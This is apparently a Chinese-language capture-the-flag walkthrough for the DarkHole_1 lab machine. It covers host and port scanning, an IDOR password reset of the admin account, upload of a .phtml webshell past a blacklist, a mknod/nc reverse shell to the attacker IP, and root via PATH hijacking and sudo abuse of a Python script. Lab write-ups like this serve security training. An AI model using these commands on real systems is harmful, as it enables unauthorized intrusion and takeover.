DARKHOLE_1攻略
攻击环境:kali
被攻击环境:ubuntu
kali IP:192.168.133.131
ubuntu IP : 未知
1.主机发现
? 因为攻击机与被攻击机在同一网段,所以需要通过nmap 进一步确定其ip
nmap -sP 所处网段
example:nmap -sP 192.168.133.0/24
? 分析可知 Ubuntu ip 为 192.168.133.135
2.端口扫描
? 全面扫描,获取端口,判断被攻击者所开服务
nmap -A 被攻击者ip
example: nmap -A 192.168.133.135
由上可得,所开端口:80 / 22
3.目录扫描
遍历网站目录
dirb 网址 / dirsearch -u 网址
example: dirb http://192.168.133.135
4.纵向提权
获得四个可访问目录,最重要的为upload 目录,判断可能存在文件上传漏洞,但现阶段无法使用,浏览页面,左上角发现,登录窗口连接,点击进入
没有账号,尝试创建,考虑管理员用户名称可能为admin,尝试创建username 为 admin 的账号
发现已经被占用,创建一个普通账户 用户名:test密码:1234 (由于手滑之前新建了一个qqq用户)
发现页面可以修改用户名与密码,尝试抓包,观察修改过程,修改密码:12345
ps :之前自己误操作新建了一个qqq账户,现在新建一个test账户,加上之前测试的admin用户,猜测现在可能有三个用户,阅读request 请求发现,修改密码时没有用户名等字段限制,并且发现请求体中有id字段,并且id赋值为3,大胆猜想,admin 账户为管理员,id=1,修改请求体中password=…&id=…,从而修改admin用户密码
返回登录页面输入账户名称admin 密码 12345,登录成功
成功获取管理员账号密码,登录页面,发现上传页面,判断是否存在文件上传漏洞,上传一句话木马测试,被拦截,判断上传种类限制存在与后台,判断黑白名单(通常白名单的限制比黑名单的条件更为苛刻),随着php版本的不断迭代,php中间件所能执行的php文件的后缀种类也在不断增加,经过不断地尝试,以phtml为后缀的一句话木马可以突破限制,由此推断后台限制为黑名单限制。使用中国蚁剑连接一句话木马,连接成功。
5.反弹shell
右键,点击虚拟终端
在kali中开启nc
nc -lvvp 供攻击机连接的端口号
example: nc -lvvp 8888
在蚁剑虚拟终端中输入这条命令
mknod 设备名称 p && nc kali 的ip kali的端口 0<设备名称 | /bin/bash 1>设备名称
example: mknod backdoor p && nc 192.168.133.131 8888 0<backdoor | /bin/bash 1>backdoor 获取回显窗口
kali 中获得shell 窗口,但是返回的shell 没有显示你所在文件目录,现阶段是那个用户,所以需要使用python 来返回一个shell,大多数Linux 都安装了python3,所以使用python3 来生成一个shell
python3 -c 'import pty as pt;pt.spawn("/bin/bash")'
6.root提权
cat /etc/passwd
========================================================================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
darkhole:x:1000:1000:john:/home/darkhole:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
发现john用户
切换到/home/john目录下,发现toto文件有执行权限,发现敏感文件user.txt 与 password
执行toto
发现toto文件的功能就是查询用户的uid gid 等参数,与命令id 功能相同,猜测toto文件可能使用的id命令,所以,如果我新建一个假的id命令,id文件中写入/bin/bash 字段,生成一个shell,从而达到提权的目的,因为现在所处的目录没有写的权限,所以在/tmp 目录下新建id文件
cd /tmp
touch id
echo "/bin/bash" > id
chmod 777 id
export PATH=/tmp:$PATH
cd /home/john
./toto
cat password 得到 疑似john的密码
sudo -l
#执行命令输入密码,回显可知,john可以以root的身份执行file.py
所以在file.py 文件中写入 import pty;pty.spawn("/bin/bash")
sudo 执行,即可提权
进入root 目录,即可通关
进入root 目录,即可通关
|